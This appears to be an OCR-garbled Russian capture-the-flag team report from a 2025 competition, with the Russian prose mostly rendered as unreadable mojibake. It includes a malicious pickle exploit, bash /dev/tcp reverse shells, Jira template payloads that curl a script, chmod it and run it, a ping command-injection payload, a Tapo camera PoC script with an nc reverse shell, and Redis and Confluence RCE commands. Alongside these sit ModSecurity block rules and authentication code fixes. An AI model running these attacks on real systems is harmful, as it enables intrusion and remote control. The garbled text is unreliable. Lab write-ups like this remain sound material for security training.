PainTtan Ha puHan noé HTo 2025 oT KoMmaHgbl
While_hot_false

CocTtaB
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kvasilek - Kpbinos Bacunuu

3aga4yu ¢ KOPOTKUM OTBETOM
HARDWARE

NMnaH

AHanu3 gamna oc
BpyTdopc naponeii

PauTtan

AHanuns3 pamna oc

Ham nepegann 63kan poytepa. Nocne g Hayan aHann3 camoro doaina: strings, binwalk, Ho
HWYero TO/IKOBOrO He HaL/10Cb 1 Mbl HAYa/IM UCKaTb 3KCM/I0UTbI, B UTOre HaluIn BOT 3TOT
https://github.com/BigNerd95/RouterOS-Backup-Tools. Bnucann komaHay python3
extract user.py bin.BIN, 1 HawWw/n 4YTO-TO TaKOeE:

—(kali%kaliOlymp) - [~/Pabouyun cton/Router0S-Backup-Tools]
L-¢ python3 extract user.py bin.BIN

User: userl

Pass: e*=TF$5t+%sW9D B

User: user2
Pass: s*3Z:@vaM9m=x<" -

User: user3
Pass: rjw7sJ<%snHvT5[Pg

User: user4


https://github.com/BigNerd95/RouterOS-Backup-Tools

Pass: n&@D>3h? 8%,FC B

User: userb5
Pass: V;xfQt:39.m8(h" ~

User: admin
Pass: 9Nbn5dST

User: userl
Pass: e*=TF$5t+%sW9D B

User: user2
Pass: s*3Z:@vaM9m=x<" -

User: user3
Pass: rjw7sJ<%snHvT5[Pg

User: user4
Pass: n&@D>3h? 8%,FC B

User: userb5
Pass: V;xfQt:39.m8(h" ~

User: admin
Pass: 9Nbn5dST

User: admin
Pass: 9Nbn5dST

User: user
Pass: z[a/#4V]jHDF,"xd:q$u

2. bpyTthopc naponei

CHavana Mbl pelunnn nonpobosartb Kakoin-To BMeHsAeMblii naposib, admin:9Nbn5dST, Ho
TWETHO. B ntore mMbl peLumam npocTo NPoMTUCL NO CNNCKY IOTMHOB U naponeil. MNMepebpas
BCe BapumaHTbl, NOAOLWNM Kpeabl user:z[a/#4V]jHDF, "xd:q$u . B utore mbl nonyumnun dpnar
N KPacuBYHO KapTUHKY.

NTO(2H=nS @fsz=Mxj&-{b%3TYtQNLNy}W+)



WEB

Kacca

NMnaH

AHa/In3 NCXo4HNKOB
Mouck 1 HanucaHne akcnaouTa
TecTt

Pautan

1. AHaNIn3 NCXOoAHUKOB

Ham ganu Heckonbko oaitnos:

app --|
app.py
|
config.py

|
models.py

routes.py

|
run.py

OcTasibHble dhalinibl HaM He HYXHbI.
MpoaHanM3npoBaB Kaxablii U3 aTuX haii/ioB, MeHsi 60/blLE BCETo 3auHTepecoBasv Aga
thaiina: models.py M routes.py . B nepBom chaline MeHs 3aMHTEpecoBasl METO[

nonyyeHus nognucu (KOTopblii BNOCNeACTBUM He NoHAA06UCs), @ BO BTOPOM CTpaHuua ¢
npoBepKoli buneta:

@main.route("/check-ticket", methods=["GET", "POST"])
@login_ required
def ():

if request.method == "POST":
request.files["ticket file"]
data .read()
success=True
if not data:

success=False

message = "HeT paHHbIX 0N 3arpy3ku”
try:



ticket = pickle.loads(data)
if not (ticket, TicketDTO):
success=False
message = "HeKoppeKkTHble OaHHble!"
if shal((ticket.name + ticket.user + (ticket.time stamp) +
Config.SECRET KEY).encode()).hexdigest() != ticket.sign:
success=False
message = "J10T 6buneTt nopgpmenka!"
if success:
message f"bunet BanupeH! Bnapeneu: {ticket.user}, Tun:
{ticket.name}, Oata u BpeMs nokynku: {ticket.time stamp}"
except Exception as e:
success=False
message = f"Owumbka npu yteHun buneta!"
return render_template("check verification.html", message=message,
success=success)
return render_template("check verification.html")

2. [loucK n HanncaHue aKcnouta

A yBugen B kofe noteHumasibHyo onacHocTb ( ticket = pickle.loads(data) # BOT
30ECb OMACHOCTb! ), n Ha4Yan nuckatb 60/bLLUE MO 3TOMY NOBOAY, Y HaLlen aTOT 3KCN/IoUT
https://github.com/Densel ance/Who-Stole-My-Pickles.

MpoaHannM3nmpoBaB ero, A Hanmcas CBOK BEPCUI0, KOTOpasi BbIBOAUT pe3ynbrar KoMaHAbl B
base.html:

import pickle
import os
import base64
import io

class 2
def (self):

cmd = ('env >> templates/base.html ')

return (os.system, (cmd,))
def ():

malicious pickle = pickle.dumps(Exploit())

with ('exploit.pkl', 'wb') as f:
f.write(malicious pickle)


https://github.com/DenseLance/Who-Stole-My-Pickles

print ("3kcnnout coxpaHeH B exploit.pkl")

output = io.BytesIO()
output.write(malicious pickle)
output.seek(0)
return output

if name_ == ' main
create exploit()

3. TecT

Cos3pgaem aKcnaouT:
python3 hackpickles.py

N pernctpupyem Ha cainte akkayHT, BXOAUT U 3axX04uM Ha cTpaHuuy /check_ticket:

Iobpo noxkanoBaTb Ha cCalT Npofaku buneTos Ha noespg!

Bol moxeTe I_IpL'lOE)pECTH bunet nnu MpoBEPKTD €M NOONMHHOCTD NPAMO 30ECDH.

MNpoBepnThb buneT

MpoBepka 6uneta

CaifT no npogaxe bunetos Monb3osatens: asdi

3arpyanTe dhaiin buneTa, 4TOBbI NPOBEPHTH €FO MOAMHHOCTS.

BuibepuTe thaiin 6uneTa:

Browse...  Nofile selected.

MposepwTs et

3arpyaem 3KC/IoMT 1 HaxkMmaeMm 'npoBepuTb 6UNeT'’. B koge CTpaHuLbl MOXHO NpoYnTaTh
yA06HO HanMcaHHbIe NoyYeHHbIE AaHHbIE.

nto{w3lcOm3_t0_tde_ tr41n!!}

Pwn 1

N3 doyHKuum write_file() :



printf("Enter file content: ");
_1s50c99 scanf("%256s", file buffer);
flush();

file = open(path, 65, 0, vO, vl, v2);

Mpwn atowm file buffer cam pasmepom 256 6ainT, a Nocne Hero NexuT secret password:

.bss:0000000000004120 file buffer db 100h dup(?) ; DATA XREF:
init storage+7010

.bss:0000000000004120 ;

init storage+A8to ...

.bss:0000000000004220 public secret password
.bss:0000000000004220 ; char secret password[32]

.bss:0000000000004220 secret password db 20h dup(?)

scanf("%256s", file buffer) 3anucbiBaeT Makcumym 256 6aiT + 1 HO/b GanT, KOTOPbIN
nonagét yxe B secret_pasword. B ntore naposib HaunHaetcsa ¢ 0x00, To ecTb no ghakTy
nycrasi CTpoka.

PelueHue:

3anucbiBaem B oaiin 256 6ykB
3anpawwvsaem 4yteHne 00000000 n npu 3anpoce nNaposd NPOoCTO HaXUMaem enter
Monyyaem conar

nc 10.10.11.101 9001

o )
+++ ++ (/70 ) (
bbb St IN(Q)) ) ( )N
e 4 ()7 /7¢() N /(70 (O/(
o + e [ 1 () _(C)) ()N )())
++ ERNE ++ I 17 -0 NOT N
+++ ++ Tt NN N
bbbt b R |_| |/
++
++

finally, service for reading and
writng your OWN temporary files!

Commands:
1. Read file



2. Write file
>> 2
Enter file content:
dadaaaaaaaaaaaaadadadaadadadaadaaadadaadadadaddadaadadaaaadaaaaaaaaaaaaaaaaaaaaaaaaaa
dadaaaaaaaaaaaaadadadaadadadaadaadadadadadadadadaadadaaaadaaaaaaaaaaaaaaaaaaaaaaaaaa
dadaaaaaaaaaaaaadadaaaadadaadaadadadadadadadadaaadaaaadaaaaaaaaaaaaaaaaaaaaaaaaaa
daaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Your file ID: 0a09d600

Commands:
1. Read file
2. Write file

>> ]
Enter file ID: 00000000
Opa, give me password:
File contains: nto{sup3r s3cr3t cOnfld3ntial fl4g}
Commands:
3. Read file
4. Write file

>>

INFRA

CepBep neyatu

NMnaH

SHymepauus

Mouck akcnionToB
MonyyeHne pesepc Lwenna
UTteHune donara

Palitan
1. QHymMepayua

nmap -sCV -Pn 10.10.1.145

Nmap scan report for 10.10.1.145
Host is up (0.00069s latency).
Not shown: 999 filtered tcp ports (no-response)



PORT STATE SERVICE VERSION

631/tcp ipp CUPS 2.4

| http-title: Home - CUPS 2.4.7

| http-robots.txt: 1 disallowed entry
|_/

| http-server-header: CUPS/2.4 IPP/2.1

Service detection performed. Please report any incorrect results at

https://nmap.org/submit/
Nmap done: 1 IP address (1 up) scanned in 66.79 seconds

2. NMounck akcnionTos

Ha ocHoBe npoigeHHo komHaTtbl Ha HackTheBox 1 , 8 npeanonoxmn, 4to ato 6b1n evilcups

https://github.com/IppSec/evil-cups/tree/main, n okasascs npas.

CHauana st NoMeHsi/1 NOPT BHYTPW KOAA Ha OTKPbITbINA. [lanee st 3anycTui 3KCN/I0uUT:

( )-[~/3arpysku/public/evil-cups]
3 evilcups.py 10.5.5.68 10.18.1.145 'bash -c “bash

IPP Server Listening on (' 5.68", 41299)

Sending udp packet to 10.1@.1. 31 ...

Please wait this normally takes 3@ seconds ...

B elapsed

target connected, sending payload

target connected, sending payload
20 elapsedfjxass

WALTERPUTYOURDAWAYWALTERIDONTWANTTOFU_10_5_5 68

(Processing, Accepting Jobs, Not Shared)

Admiistration

DAWAYWALTERIDONTWANTTOFU
Connection: implicitclass ] A ERIDONTWANTTOFU_10_5_¢
Defaults: job-she one ne a=na e n ne-sided

Jobs

Show Completed Jobs | Show All Jobs

Test Page anonymous 1k Unknown processing si
Thu Mar 27 2025

"cfFilterChain: bannertopdf (PID 802) exited with no errors."

3. NMony4yeHue peBepc Wenna

Mernoaa:

python3 evilcups.py <ip> 10.5.5.68 'bash -c "bash -1 >&
/dev/tcp/10.5.5.68/41223 0>&1""

Cnywaem nopr:



https://github.com/IppSec/evil-cups/tree/main

-lvnp 41223

~/3arpyskn/public

Lvnp 41223
listening on [any] 41223

connect to [10.5.5.68] from (UNKNOWN) [18.5.5.252] 55636

bash: cannot set terminal process group (612): Inappropriate ioctl for device
bash: no job ntrol in this shell

Lp@598604cd83fi:/$ ||

4. YteHue hnara
KapTuHka c uteHnem dpnara

nto{n0t_my_cup5_0f t34}

NAS 1

NMnaH

SHymepauusa

AHan13 npeaocTaBNeHHON 3a4a4m 1 'CTyK'
[Mounck akcnionToB
Vicnonb3oBaHme KpeaoB 13 3KcnaonTa

Mownck wepa ¢ doiarom
Palitan
1. QHymMepayua

nmap -sCV -Pn 10.10.1.129

Nmap scan report for 10.10.1.129

Host is up.

All 1000 scanned ports on 10.10.1.128 are in ignored states.
Not shown: 1000 filtered tcp ports (no-response)

Service detection performed. Please report any incorrect results at

https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 206.48 seconds

2. AHann3 npegocTaB/IEHHOW 3a4aun U 'CTyK'



A npegnonoXun, 4To COBET U3 3aJa4n "cTyuynte Tpuxabl... ... (Hepa3bopumBo)... 1337-
1377... (3BykM 60pb0ObI)" 3HAUNUT, YTO HYXXHO UCnonb3oBatb portknocking. A ato caenan
TakMm 06pa3om:

knock -v 10.10.1.129 1337 1338 1339 1340 1341 1342 1343 1344 1345 1346
1347 1348 1349 1350 1351 1352 1353 1354 1355 1356 1357 1358 1359 1360 1361
1362 1363 1364 1365 1366 1367 1368 1369 1370 1371 1372 1373 1374 1375 1376
1377

. - 18.18.1.129 1
hitting 18.1@. 29:

hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 18.1@.
hitting 1@.1@.
hitting 1@.1@.

B B B P

I P

el el el el el el el el e el el il e el e el e el e el el
el el el el sl sl sl sl sl sl sl sl sl sl sl sl sl sl sl ol ol ol sl sl sl ol ol ol sl sl sl sl sl sl sl ol al ol
= b= b= b= b b b b e e e e e e e e e e e b b b b b b e e e e e e b e e e e b e e b

~f3arpysun/kassa_for_participants

[lanee s npockaHMpPoBas NOPThI NMOBTOPHO.

Nmap scan report for 10.10.1.129
Host is up (0.0099s latency).



Not shown: 999 filtered tcp ports (no-response)

PORT  STATE SERVICE VERSION

80/tcp http nginx

| http-title: openmediavault control panel - nas.home.arpa

3. NMouck 3KcnonToB

1 nocmMoTpesn, Kakme eCcTb 3KCM/IOUTbI Ha openmediavault.

msfconsole
msf6 > search openmediavault

Matching Modules

0 exploit/unix/webapp/openmediavault auth cron rce 2013-10-30
excellent Yes OpenMediaVault rpc.php Authenticated Cron Remote Code
Execution

1 \_ target: Unix Command

2 \_ target: Linux Dropper

3 exploit/unix/webapp/openmediavault rpc rce 2020-09-28
excellent Yes OpenMediaVault rpc.php Authenticated PHP Code Injection

1 BblOpas1 3 BapuaHT.

4. Ucnonb3oBaHUe KpeaoB U3 3Kcnionta

Mocne, npounTtaB show options , g yBugen aedonTHole Kpeapl. Monpobosas ¢ HUMK
BOWTK, N Y MEHS MOJTYyYMNIOCh.



msfe exploit(

Module options (exploit/unix/w

Name Current Setting

PASSWORD openmediavault
PERSISTENT false
Proxies

RHOSTS

RPORT 20
SSL false
S5LCert

TARGETURI  /
URIPATH
USERMNAME

Mouck wepa c onarom

B Services
&= FTP
B nFs
En Rsync
i| SMB/CIFS

SSH

Mpowapws oOT ftp Ao smb, 9 Hawen wep ¢ pnarom.

# Services == SMB/CIFS

+ Add 4 x
Enabled Shared fol... Comment Public F
C ) nto{knOckd... No P

nto{knOckd_n70_r3v3n63}

NAS 2

NnnaH



Vicnonb3oBaHue akcnnouta us npowsioro NAS

UTteHune donara

Paiitan

1. cnonb3oBaHue 3Kcnsiouta us npowsioro NAS

1 HacCTpPOW IKCNIOUT TakuUMm o6pa30M:

with
Tu ad is removed
host:port][ .
ng-metasploit.html

TARGETURL

URIPATH
ERNAME admin
ST

est,psh_invol equest, ftp_http:

to listen on. This must be an add on the local machine or 0.08.0.8 to listen on a
RT 41101
ad optiens (c
Name  Cu t
LHOST 10 L (an i f e specified)
LPORT 4110
Expleit

Id N

ploit

using c)

rsion of Opend

=

P
=

W e

(S

nto{4_117713_ch33ky_cv3}



Confluence 1

NMnaH

QHymMmepauus
Mounck CVE
JkcnnyaTtauusa akenaouta ana nonydyedmna RCE

Palitan
1. QHymepayua

nmap 10.10.1.159 -Pn

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 15:35 MSK
Nmap scan report for 10.10.1.159

Host is up (0.00075s latency).

Not shown: 999 filtered tcp ports (no-response)

PORT STATE SERVICE

8090/tcp opsmessaging

2. NMouck CVE

r'yrnum Bepcuto koHpaeHca(8.5.3) u CVE. U Haxogum CVE-2023-22527, a Takxe CniouT K
Hemy(https://www.exploit-db.com/exploits/51904) .

3. AkcnnyaTtauusa akcnaouta ana nonydyeHmsa RCE

cnonb3yem ckadaHHbI CNIOUT A8 NoMyYeHust ncesgoLuenna.

python 51904.py --url http://10.10.1.159:8090 --shell
[!] Shell is ready, please your commands UwU

3arem npocTo yMtaem donar.

flag.txt
nto{cOnflu3nc3 15 und3r 4774ck}

nto{cOnflu3nc3_15 und3r_4774ck}
Jira

NMnaH


https://www.exploit-db.com/exploits/51904

SHymepauus

Mounck CVE

MoproToBKa K aKcnayarauum
Jkcnnyataums neinoanos

PeB wen

Pairtan
1. SHymepauua

nmap 10.10.1.169 -Pn

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-27 16:00 MSK
Nmap scan report for 10.10.1.169

Host is up (0.00075s latency).

Not shown: 999 filtered tcp ports (no-response)

PORT STATE SERVICE

8080/tcp http-proxy

2. Mouck CVE

Myrnum Bepcuto jira(8.5.3) n CVE. N Haxoaum CVE-2019-11581, a Takxke npumepHblin PoC
https://covertcorvus.com/posts/2023/real-world-example-jira-and-cve-2019-11581/.

3. MoarortoBKa K aKcnayarauumn

Ha ocHoBe PoC HauvHaem rotoBuTb neiioaabl 1 T4,... Muwem ckpunT Ansi pes Lwenna.

#!/bin/bash
-i >& /dev/tcp/{ip}/{Lport} 0>&1

MogHumaem http cepBep B nanke co CKPUNTOM.

python -m http.server {http port}
Serving HTTP on 0.0.0.0 port {http port} (http://0.0.0.0:{http port}/)

HaunHaem cnylwaTb TOT NOPT, KOTOPbIA Mbl yKa3anin B CKpUNTe.

-lvnp {Lport}
listening on [any] {Lport} ..

4. JkcnnyaTtauua nennoagos

Mo nonyyeHHOMY paHee PoC Mbl MOXEM Hakmaatb CBOV Nennoaibl. YA3BUMOCTb
3aknovaetcs B RCE B dpopmouke subject B KOHTakTHOW thopme


https://covertcorvus.com/posts/2023/real-world-example-jira-and-cve-2019-11581/

http://10.10.1.169:8080/secure/ContactAdministrators!default.jspa .

Meitnoaabl:

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null)
.invoke(null,null).exec('curl -L -o /tmp/{script}.sh http://{ip}:
{http port}/{script}.sh').waitFor()

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime',null)
.invoke(null,null).exec('chmod +x /tmp/{script}.sh').waitFor()

$i18n.getClass().forName('java.lang.Runtime').getMethod('getRuntime’,null)
.invoke(null,null).exec('/tmp/{script}.sh').waitFor()

O6s13aTe/NiIbHO COXpaHANTe CKPUMT B Nanoyky /tmp , UTO6bl MOXHO 6bI/10 UCMOSTHATD.

5. PeB wen

Mocne BbINOHEHNA BCEX I'IEVU'IO&,D,OB, TOBUM peBLUE/IT N HATaEM (bnar.

-lvnp 41227
listening on [any] 41227 ...
connect to [10.5.5.68] from (UNKNOWN) [10.5.5.252] 25114
bash: cannot terminal process group (15): Inappropriate ioctl for
device
bash: no job control in this shell
daemon@67f9880e3d47:/var/atlassian/application-data/jira$

analytics-logs
caches

data

database
dbconfig.xml

log
logos
monitor
plugins
tmp
user_ flag.txt
daemon@67f9880e3d47:/var/atlassian/application-data/jira$
user flag.txt
user_ flag.txt


http://10.10.1.169:8080/secure/ContactAdministrators!default.jspa

nto{jlrnd4y4 uy4zvim057}

nto{jlrn4y4 uy4zvimO057}

MISC
MpuHTep 1

3axoaum Ha http://10.10.1.72, Bugum kyocera command center RX

Nwem cve, Haxoamm aT1o https://github.com/ac3lives/kyocera-cve-2022-

1026/blob/main/getKyoceraCreds.py.

3anyckaem, nosiy4aem Kyvy KpenoB, Hac MHTepPecyeT CTpoUka
user:ftpuser;pass:r34llyh4rdp455:

{'kmaddrbook:server name': None, 'kmaddrbook:port number': '21"',
'kmaddrbook:login name': 'ftpuser', 'kmaddrbook:login password':
'r3411lyh4rdp455'}, 'kmaddrbook:smb information':
{'kmaddrbook:server name': None, 'kmaddrbook:port number': '445'}

nogkntoyaemca no ftp, genaem recv NTOflagl.txt u nonyyaem donar.
3necb Xe genaem recv redis.conf, B HeM Haxogum naponb oT redis.

nto{f7p_4cc355_frOm_kyO0c3r4}
MpuHTep 2

NMnaH

Monyyaem exploit
Haxogum RCE
kcnnyarauns

1. Mony4yaem exploit

3axoaum Ha ftp n 3a6rpaem exp.so

2. Haxogum RCE

MpocTo ryrnum redis rce 1 Haxoanm cnaout https://github.com/jas502n/Redis-RCE



http://10.10.1.72/
https://github.com/ac3lives/kyocera-cve-2022-1026/blob/main/getKyoceraCreds.py
https://github.com/ac3lives/kyocera-cve-2022-1026/blob/main/getKyoceraCreds.py
https://github.com/jas502n/Redis-RCE

3. Akcnnyarauus

C nomoLLbo cnsionTa 1 Nosly4eHHoro .so daiina nonydyaem pue.

python redis-rce.py -r 10.10.1.110 -p 6379 -L {your_ip} -P {L port} -f
exp.so -a NTO r3dl5 p455w0Ord

OKa3bIBa8MCF| Ha Tauke 1 YnTaem chnar B /root aupekTopuun.

redis-rce. py -r 10.10.1.11@ ) 6379 -L 10.5.5.68 -P 41263 - exp.so -a NTO_r3dl5_p455wlrd

I?EIH- RLE

[*] Conr

nto{dOn7_Ov3r3xp0s3_ur_r3d15}
Pairtan

1. SHymMepayua

3AJJAYN C 3ALLUNTOW
Kacca-WAF

3MmeHeHHbI hain /etc/modsecurity.d/owasp-crs/rules/kassa.conf :

# for rules
# 1. bnokupoBKa no cCUrHaTtype **reduce** + os.system

SecRule REQUEST BODY|ARGS “@rx (?i)**reduce**.*os.system”
“id:2000,

phase:2,

deny,

t:base64Decode,

t:urlDecode,

t:lowercase,



msg: 'Malicious pickle object with RCE payload’,
tag:'attack-rce’,
ver: 'OWASP CRS/3.3.4""

# 2. bnokmposka onacHeix opcode pickle (\x80) c komaHOamu

SecRule REQUEST BODY|ARGS “@rx \x80. (env\s >>|templates/)”
“id:2001,

phase:2,

deny,

t:none,

msg: 'Pickle opcode with shell command injection’,
tag:'attack-rce’,

ver: 'OWASP CRS/3.3.4""

SecRule TX:PICKLE FILE “@eq 1"

“id:2003,

phase:2,

chain,

deny,

msg: 'Potential malicious pickle file uploaded’” SecRule
REQUEST BODY|FILES TMP CONTENT “@rx \x80.***reduce**“
“t:none”

# 4. bnokumpoBka shell-komaHpg

SecRule ARGS|ARGS NAMES “@pmFromFile /etc/modsecurity.d/rce-keywords.txt”
“id:2004,

phase:2,

deny,

t:urlDecode,

t:baseb64Decode,

t:cmdLine,

msg: 'Shell command injection attempt’,

tag: 'attack-rce’,

ver:'OWASP _CRS/3.3.4'" SecRule REQUEST BODY|ARGS|FILES “@rx
(\x80 | **reduce**|os.system|env\s*>>)"

“id:1000,

phase:2,

deny,

t:base64Decode,

t:urlDecode,

t:lowercase,



msg: 'RCE via Python pickle’,
tag:'attack-rce’,
severity:'CRITICAL""

SecRuleEngine On SecRequestBodyAccess On SecResponseBodyAccess Off
SecAuditEngine RelevantOnly SecAuditlLog /var/log/modsec audit.log

WIFI-PoyTep

B MHCTpyMeHTe ping HYXXHO ObIN10 BBECTU pa3gennTesb, KOTOPbIV BbIMONHUT eLe OaHY
KOMaHZy 1 BbIBEAET ee pe3y/brar.
Payload:

127.0.0.1|cat /tmp/home/root/flag

Pe3ynbrart:

Network Tools - Network Analysis

Send ICMP ECHO_REQUEST packets to network host.

Method Ping

Target 127.0.0.1|cat /tmp/home/root/flag

Count 1

Diagnose

nto{cenGr475_yeuvi_jus7_found_z3re}

nto{cOn6r475_yOuv3 ju57_fOund_z3r0}

Kamepa 1.0

F'yrnum kamepy, Haxogum CVE-2021-4045 https://github.com/hacefresko/CVE-2021-4045
YA3BUMOCTb, KOTOpas BO3HUKAET M3-3a Toro, 4to uhttpd binary Bcerga 3anyckans ot pyTa.

C NOMOLLbKO HETO MOXHO MOJYYUTb NOJIHLIA KOHTPO/Ib HaL Kamepoi. yAa3BMMbIn poyTep - TP-
Link Tapo.

KomaHpga ans 3axsata poto ¢ donarom: ffmpeg -rtsp_transport tcp -y -i
“rtsp://[pwned1337:pwned1337@10.10.1.212:554/stream?2” -q:v 1 -vframes 1 dol.jpg



https://github.com/hacefresko/CVE-2021-4045
mailto:pwned1337@10.10.1.212

2025-03-27 18: 49: 39

import requests, urllib3, sys, threading, os, hashlib, time
urllib3.disable warnings(urllib3.exceptions.InsecureRequestWarning)

PORT = 1337

REVERSE SHELL = 'rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc %s
%d >/tmp/f"'

NC COMMAND = 'nc -lp %d' % PORT

RTSP_USER = 'pwned1337'

RTSP_PASSWORD = 'pwned1337'

RTSP_CIPHERTEXT =
"RUW5pUYSBmM4gt+5T7bzwEq5r078 rcdhSvpJ rmtqAKE2mRo8bvvOLfYGnr5GNHTANBeFNEHhuc
nsK86WJITs4xLEZMbxUS73gPMTYRSEBV4EaKt2f5h+BkSbuhOWcITH15FWMbwiks1j6qwTX48Ha
SSiEmotK+v1IN3NLokHCxtUOk="

print(r"""
CVE-2021-4045 PoC @hacefresko
I e e
| "~ \N\N/\N/ /7 "_\| _/ | '_\N/_\
L1 NV v CE o) Q)
| ./ N\ || TN N /N
|| ||
IIIIII)
if ( (sys.argv) < 4) or (sys.argv[l] != 'shell' and sys.argv[l] !=
"rtsp'):

print("[x] Usage: python3 pwnTapo.py [shell|rtsp] [victim ip]
[attacker ip]")
print()



exit()

victim = sys.argv[2]
attacker = sys.argv[3]
url = "https://" + victim + ":443/"

if sys.argv[l] == 'shell':
print("[+] Listening on port %d..." % PORT)
t = threading.Thread(target=o0s.system, args=(NC COMMAND, ))
t.start()

time.sleep(2)

print("[+] Sending reverse shell to %s...\n" % victim)

json = {"method": "setlLanguage", "params": {"payload": "';" +
REVERSE SHELL % (attacker, PORT) + ";'"}}

requests.post(url, json=json, verify=False)

elif sys.argv[l] == 'rtsp':
print("[+] Setting up RTSP video stream...")
md5 rtsp password =
hashlib.md5 (RTSP_PASSWORD.encode()) .hexdigest() .upper()
json = {"method": "setlLanguage", "params": {"payload": "';uci set
user _management.third account.username=%s;uci set
user _management.third account.passwd=%s;uci set
user management.third account.ciphertext=%s;uci commit
user _management;/etc/init.d/cet terminate;/etc/init.d/cet resume;'" %
(RTSP_USER, md5 rtsp password, RTSP_CIPHERTEXT)}}
requests.post(url, json=json, verify=False)

print("[+] RTSP video stream available at rtsp://%s/stream2" % victim)
print("[+] RTSP username: %s" % RTSP_USER)
print("[+] RTSP password: %s" % RTSP_PASSWORD)

nto{yOu_4r3_6r0z4_74pk0v}

Moespn,

import snap7 from snap7.util import * #wumnopTtupyem 6ubnuoteky pns paboTel C
KOHTPOJINEPOM

client = snap7.client.Client() #nopknw4yaemcs

client.connect(‘10.10.14.2’, 0, 1) # IP MJK, rack=0, slot=1(y3Haem slot u
rack nporyrnms)

#YTeHne paHHbIX M3 6noka DBl

data = client.db read(1l, 0, 256) # DB1l, cMmewexue 0, 256 6aut

print(get string(data, 0))

# UMA XpaHUTCA KaK CTpoOKa

#3anncb HOBOr0O WMEHMU



new_name = "volter nemosch\x00"

set string(data, 0, new name)
client.db write(1, 0, data)

HenpouweHble rocTtu! - 1 nu HenpolieHble roctu! -
2

auth/main.py:

XpaHeHune naponei B OTKPbITOM BUAE:

B meToge /register naposb Nosb3oBaTesia coxpaHsaeTcs B 6a3y AaHHbIX 6e3
X3LWMpPOBaHUSA:

db_user = models.User(username=user.username, password=user.password)
310yMbILWNEHHVK NOTyYaeT AOCTYN K 6a3e AaHHbIX (Hanpumep, Yepe3 SQL-NHBbEeKLMIO
NN KOMMNpPOMETaLMIO cepBepa).

Maponu XxpaHATCA B OTKPbITOM BUAE, YTO MNO3BONSAET 3/10yMbILL/IEHHUKY UCMOMb30BaTb UX
4Ns BXo4a B CUCTEMY NMOA APYTMMM NO/b30BaTeNAMM.

domkc:

from passlib.context import CryptContext

pwd context = CryptContext(schemes=["bcrypt"], deprecated="auto")
hashed password = pwd context.hash(user.password)

db user = models.User(username=user.username,

password=hashed password)

AHasnornyHo 1my - Nposepka naposisi 6e3 X3WnpoBaHus:
B meToge /token naposib NpoBepPAETCA HANPAMYHO:

if not user or form data.password != user.password:

doukc:

if not user or not pwd context.verify(form data.password, user.password):

OTcyTCTBME OrpaHNyeHnss BpeEMEHU XN3HU TOKeHa

B koge ncnonbsyetrca JWT ana co3gaHnsa TOKEHOB A0CTYyNa, 04HaKo He yKasaHo ero
BPEMS XU3HN.

access_token = security.create_access_token(data={"sub": user.username})
3noymblWwneHHK nepexsarbiBaetT JWT-TOKeH (Hanpumep, yepes XSS nnn MitM).
TokeH ocTaéTtca AeNCTBUTENIbHbIM NPakTU4eckn 6eCKOHEeYHO
(ACCESS_TOKEN_EXPIRE_MINUTES = 10000000000000000000), 4To no3sonset
3/10YMbILL/IEHHMKY MUCMO/b30BaThb €ro A/INTEe/IbHOE BPEMS.



domkc:

YCTaHOBUTbL peasiMCTUYHOE BPEMS UCTEYEHUA TOKeHa:
ACCESS_TOKEN_EXPIRE_MINUTES = 52

TokeHbl 106aBNAIOTCA B YEPHBIV CMMCOK TOJTLKO MPUY BbIXO4e No/b30BaTesNs, ecrim
3/10YMbILL/IEHHMK NEepPexXBaTUT AEeNCTBYHOLNIA TOKEH A0 ero fo6aBneHns B YEPHbI
CMMCOK, OH CMOXET MCMNO/1b30BaTb €ro 10 OKOHYaHWs nandTanma:

async def @app.post("/logout") logout(token: str =

Depends (oauth2 scheme)): security.blacklist token(token) return {"msg":
"Successfully logged out"}

auth/models.py

OTCYTCBTYHOT Kakne-imbo orpaHuYyeHus Ha [A/IMHHY W 3HaYeHus Napons v o3epHeriva:
username = Column(String, unique=True, index=True)

password = Column(String)

OTcyTCcTBME BaUMAAUNN BXOAHbIX AAHHbLIX

BekTop ataku:

3N10yMbILNEHHNK OTNPAB/ISAET CneunasibHO CPOPMUPOBaHHLIE AaHHbIe (Hanpumep,
OY€eHb [I/IHHbIE CTPOKWN UK cheLmasibHble CUMBO/IbI) ANS SKChlyaTaunm ysa3BUMOCTEN.
OTcyTCcTBME BaUMaauny MOXET MPUBECTU K OLLIMbKamM B paboTe npuioxeHns nnm SQL-
NHBEKLMAM.

doukc:

class UserCreate(BaseModel):

username: str = Field(..., min length=3, max length=50,
regex=""[a-zA-7Z0-9 ]+%$")
password: str = Field(..., min length=8)
auth/security.py

B chaiine ncnonb3yetcs oUKCMPOBaHHbI CEKPETHbIV K/THO4Y(Kak KOHCTaHTa):
SECRET_KEY = "Abgh4LSVdohgrlhtalvifAmEsymAvY9p*

icnonb3ys aToT K04, 3/10YyMbILLNEHHUK MOXET nogaenbiBatbe JWT-TOKEHbI.
domkc:

import os

from secrets import token_hex

SECRET_KEY = os.getenv("SECRET_KEY", token_hex(32))

OrpoMHOe BpeMs XM3HU TOKeHa:

ACCESS_TOKEN_EXPIRE_MINUTES = 10000000000000000000
OTcyTCTBME MEXaHN3Ma 06HOB/EHNSI TOKEHA.

HepeanuctnyHele 3HavyeHns Ans 6/10KMPOBKM NOsb30BaTeNei.
MAX_LOGIN_ATTEMPTS = 10000000000000000000
BLOCK_TIME_MINUTES =0

BekTop ataku:

